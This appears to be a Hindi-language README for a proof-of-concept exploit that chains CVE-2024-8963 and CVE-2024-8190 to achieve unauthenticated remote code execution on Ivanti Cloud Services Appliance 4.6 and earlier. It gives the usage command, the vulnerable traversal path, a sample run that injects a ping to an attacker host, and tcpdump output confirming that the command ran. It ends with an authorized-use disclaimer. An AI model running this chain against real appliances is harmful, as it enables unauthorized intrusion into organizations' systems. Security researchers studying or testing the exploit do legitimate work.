
CVE-2024-8963 और CVE-2024-8190 को मिलाकर - Ivanti CSA 4.6 और उससे नीचे पर अनधिकृत RCE के लिए
CVE-2024-8963 और CVE-2024-8190 का संयोजन - Ivanti CSA 4.6 और उससे नीचे के संस्करणों पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) के लिए PoC।
CVE-2024-8963
Ivanti CSA 4.6 Patch 519 से पहले के संस्करणों में पथ ट्रैवर्सल की कमजोरी एक दूरस्थ अप्रमाणित हमलावर को प्रतिबंधित कार्यक्षमता तक पहुँचने की अनुमति देती है।
CVE-2024-8190
Ivanti Cloud Services Appliance संस्करण 4.6 Patch 518 और उससे पहले के संस्करणों में OS कमांड इंजेक्शन की कमजोरी एक दूरस्थ प्रमाणित हमलावर को रिमोट कोड निष्पादन प्राप्त करने की अनुमति देती है। इस कमजोरी का शोषण करने के लिए हमलावर के पास एडमिन स्तर के विशेषाधिकार होने चाहिए।
यह PoC दोनों को जोड़ता है ताकि यह प्रदर्शित किया जा सके कि कैसे CVE-2024-8190 का उपयोग बिना प्रमाणीकरण के किया जा सकता है।
python3 ./cve-2024-8190.py <लक्ष्य_url> '<CMD>'
$ python3 ./cve-2024-8190.py https://<लक्ष्य> 'ping -c 4 <हमलावर>'
[!] चेतावनी: यह स्क्रिप्ट केवल अधिकृत परीक्षण और शैक्षिक उद्देश्यों के लिए है। अनधिकृत उपयोग अवैध है।
[*] https://<लक्ष्य>/client/index.php%3F.php/gsb/datetime.php लाया जा रहा है...
[+] LDCSA_CSRF मान प्राप्त हुआ: sid:483045<हटा दिया गया>
[*] पेलोड भेजा जा रहा है...
[!] अनुरोध का समय समाप्त हो गया। जाँचें कि कमांड लक्ष्य पर निष्पादित हुई या नहीं।
$ sudo tcpdump -n "icmp" -l
11:43:15.135004 IP <लक्ष्य> > <हमलावर> ICMP echo request, id 30001, seq 1, length 64
11:43:16.135647 IP <लक्ष्य> > <हमलावर>: ICMP echo request, id 30001, seq 2, length 64
11:43:17.137707 IP <लक्ष्य> > <हमलावर>: ICMP echo request, id 30001, seq 3, length 64
11:43:18.137085 IP <लक्ष्य> > <हमलावर>: ICMP echo request, id 30001, seq 4, length 64
Horizon3.ai का CVE-2024-8190 PoC, जिस पर यह काफी हद तक आधारित है:
https://github.com/horizon3ai/CVE-2024-8190
CVE-2024-8963.yaml के लिए ProjectDiscovery का nuclei टेम्पलेट:
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-8963.yaml
P.S. ProjectDiscovery कमाल है!
मूर्ख मत बनो।
यह सॉफ्टवेयर पूरी तरह से शैक्षिक अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और इसका उपयोग सिस्टम पर हमला करने के लिए नहीं किया जाना चाहिए, सिवाय उन मामलों के जहाँ स्पष्ट रूप से अधिकृत किया गया हो। परियोजना अनुरक्षक सॉफ्टवेयर के दुरुपयोग के लिए जिम्मेदार या उत्तरदायी नहीं हैं। जिम्मेदारी से उपयोग करें।